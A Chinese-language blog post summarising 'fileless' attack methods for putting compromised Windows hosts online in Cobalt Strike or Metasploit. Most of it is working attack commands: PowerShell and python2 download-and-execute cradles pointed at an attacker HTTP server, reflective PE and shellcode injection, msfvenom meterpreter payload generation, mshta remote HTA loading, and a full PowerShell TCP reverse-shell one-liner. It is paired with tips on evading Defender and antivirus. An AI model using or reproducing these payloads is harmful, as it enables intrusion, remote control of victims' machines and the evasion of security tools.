1.概述
“无文件攻击”(Fileless)属于一种影响力非常大的安全威胁。攻击者在利用这种技术实施攻击时,不会在目标主机的磁盘上写入任何的恶意文件,因此而得名“无文件攻击”。现在挖矿病毒、勒索病毒多采用无文件攻击方式,从而可绕过常规杀毒软件的防护。
当我们拿到一个shell但是想上线CS或者MSF时,无文件落地上线会是一个更高明的选择。
2.PowerShell无文件攻击
powershell做为微软windows系统自带的软件包,具有十分强大的功能,越来越多的攻击者选用powershell做为攻击手段。PowerShell的主要作用是从远程位置下载恶意文件到受害者主机中,然后使用诸如Start-Porcess、Invoke-Item或者Invoke-Expression(-IEX)之类的命令执行恶意文件,PowerShell也可以将远程文件直接下载到受害者主机内存中,然后从内存中执行。
1.PowerShell内存加载EXE程序
- 将exe二进制转换为base64字符串
生成对应exe、dll、c格式的shellcode,这里用cobaltstrike生成。然后用python开启http服务。
将文件二进制转换为字符串的powershell脚本,命名为Convert-BinaryToString.ps1
1 | function Convert-BinaryToString { |
或者python实现的同样脚本,命名为Convert-BinaryToString.py
1 | import sys |
python3 Convert-BinaryToString.py artifact.exe > artifact.exe.txt
在脚本末尾追加以下内容
修改Invoke-ReflectivePEInjection.ps1脚本,在末尾添加如下内容,然后重命名为runexe.ps1
1
2
3$InputString = '二进制文件转换之后的base64字符串'
$PEBytes = [System.Convert]::FromBase64String($InputString) # 将字符串还原为二进制
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR # 在内存中运行 EXE在其他机器上加载并允许powershell脚本
1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.11:8000/runexe.ps1')"
坑点1:运行之后powershell停止工作。
然后换用MSF之后,用同样的方法,先用MSFvenom生成exe,然后使用Convert-BinaryToString将exe转换为base64字符串,再讲字符串替换掉runexe.ps1中CS的字符串,然后再目标机器上允许之后,就成功上线了。同样的操作,CS不行,MSF就可以。有没有懂哥可以解释一下的。
坑点2:同样的powershell脚本,win7中可以正常上线MSF,win10就不行。win10一开始是defender给拦截了,关闭defender之后一堆爆红,然后也不上线。
2.PowerShell内存加载DLL
与内存加载exe一样操作,将dll先转换为base64字符串,然后修改Invoke-ReflectivePEInjection.ps1脚本,在末尾添加执行命令。
1 | $InputString = '二进制文件转换之后的base64字符串' |
在其他机器上加载并允许powershell脚本
1 | powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.11:8000/rundll.ps1')" |
然后得到了同样的结果。MSF生成的DLL可以正常上线,CS生成的DLL不行。win7可以正常上线,win10不行。而且相比内存加载EXE,内存加载DLL不会有DEP的警告。
3.远程加载并执行DLL
在powersploit的以前项目(https://github.com/clymb3r/PowerShell)上,发现了同名脚本Invoke-ReflectivePEInjection.ps1,这个脚本是支持远程加载pe到内存中执行的。对应参数是PEUrl。
在其他机器上执行
1 | powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.11:8000/Invoke-ReflectivePEInjection.old.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.100.11:8000/shell.dll" |
可以从http日志中看到,先是下载了Invoke-ReflectivePEInjection.old.ps1,然后又下载了shell.dll。同时MSF成功上线。
win7可以正常上线,win10同样报错。MSF生成的DLL可以正常上线,CS生成的DLL不行。
4.远程加载并执行EXE
与上面同样方法,只需要修改PEUrl参数,将dll的url换成exe的url。
1 | powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.11:8000/Invoke-ReflectivePEInjection.old.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.100.11:8000/shell.exe" |
可以从http日志中看到,先是下载了Invoke-ReflectivePEInjection.old.ps1,然后又下载了exe。但是只要MSF上线。
CS生成的exe还是一如既往的报错,MSF的虽然也报错了,但是正常上线了。
5.进程注入shellcode
在powersploit项目中同时还提供了进程注入shellcode的脚本Invoke-Shellcode.ps1(https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1)
1.将生成的shell.c和artifact.c修改为16进制格式。
2.将Invoke-Shellcode.ps1复制到kali上,然后分别重命名为Invoke-Shellcode-shell.ps1和Invoke-Shellcode-artifact.ps1。
在ps1脚本底部添加如下内容
1 | Invoke-Shellcode -Shellcode @(16进制shellcode) |
3.在其他机器上执行
1 | powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.11:8000/Invoke-Shellcode-shell.ps1')" //Invoke-Shellcode-shell.ps1脚本中放入shell.c的shellcode,shell.c是MSF生成的。 |
CS和MSF均正常上线
Win7正常上线,Win10依旧报错。
6.CS生成PowerShell上线脚本
用CS自带的web
1 | powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.100.11:80/a'))" |
win10和win7均可正常上线。
7.MSF生成PowerShell上线脚本
msfvenom生成powershell上线脚本
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp -f psh-reflection -o shell.ps1 |
python开启http服务,然后在windows执行
1 | powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.11:8000/shell.ps1')" |
结果,win7和win10均可正常上线。
3.python无文件攻击
3.1.CS生成python无文件攻击
1 | python2 -c "import urllib2; exec urllib2.urlopen('http://192.168.100.11:80/python').read();" |
win10和win7可以正常上线,然后比较神奇的是defender没有任何反应。意外发现一种免杀新思路?
3.2.MSF生成python无文件攻击
msfvenom生成powershell上线脚本
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp -f python-reflection -o shell.py |
python开启http服务,然后在windows执行
1 | python2 -c "import urllib2; exec urllib2.urlopen('http://192.168.100.11:8000/shell.py').read();" |
结果,win7和win10均可正常上线。
4.Mshta.exe无文件攻击
HTA是HTML Application的缩写(HTML应用程序),是软件开发的新概念,直接将HTML保存成HTA的格式,就是一个独立的应用软件,与VB、C++等程序语言所设计的软件界面没什么差别。
大多数的Windows操作系统都支持Hta文件执行,利用Mshta.exe解析.hta文件执行,这里的.hta文件可以是本地的也可以是可访问的远程主机上的。
HTA虽然用HTML、JS和CSS编写,却比普通网页权限大得多。它具有桌面程序的所有权限(读写文件、操作注册表等)。HTA本来就是被设计为桌面程序的。
例如:
1 | <html> |
保存为HTA文件后就可以打开 执行后会弹出计算器。
将以上代码保存为calc.hta,然后放在kali上开启http服务。再在windows上执行以下命令,就可以在windows上弹出计算器。
1 | mshta http://192.168.100.11:8000/calc.hta |
查看http日志可以看到hta被访问了。
利用MSHTA的以上特性就可以实现无文件落地攻击。
4.1.自定义反弹shell
在hta中命令执行弹计算器的位置修改为如下反弹shell的powershell命令。
1 | powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.100.11',9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\" |
然后在windows上执行以下命令,就可以获得shell。
1 | mshta http://192.168.100.11:8000/calc.hta |
同理将,hta中命令执行弹计算器的位置修改为上文中的任意方法,即可无文件落地获得CS或者MSFshell。
比如下图改成python的上线代码,可以成功上线MSF。
4.2.MSF生成hta
除了自定义命令外,MSF还可以使用msfvenom生成hta文件。
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp -f hta-psh -o shell.hta |
python开启http服务,然后在windows执行
1 | mshta http://192.168.100.11:8000/shell.hta |
查看shell.hta的文件内容,可以发现是powershell的上线命令。
当然win10与win7都可正常上线。但是会被defender给杀掉。
4.3.CS生成hta
生成HTA文档evil.hta
python开启http服务,然后在windows执行
1 | mshta http://192.168.100.11:8000/evil.hta |
当然win10与win7都可正常上线。但是会被defender给杀掉。
5.总结
powershell的无文件落地虽然方法比较多,但是都是通过反射来实现的。反射型dll注入与常规注入有何不同:反射型dll注入直接在内存中展开,无需.dll 文件存在。没有通过Load Library等API加载,ProcessExplorer、procexp64 等工具无法检测到这个dll,更容易免杀。
python不是windows自带的所以python无文件落地攻击并不通用,而且受限于exec关键字,目前只有python2可以正常执行。或许有python3执行的方法,可以在研究下,而且用python无文件落地还可以绕过defender,似乎是一种免杀的新思路。
mshta.exe是一种比较稳定的无文件攻击,但是因为其稳定高效的优点也被杀软盯上了,免杀效果并不好。
- 本文作者: ordar
- 本文链接: https://mrwq.github.io/常见无文件落地攻击方法总结/
- 版权声明: 本文作者: ordar123 转载请注明出处!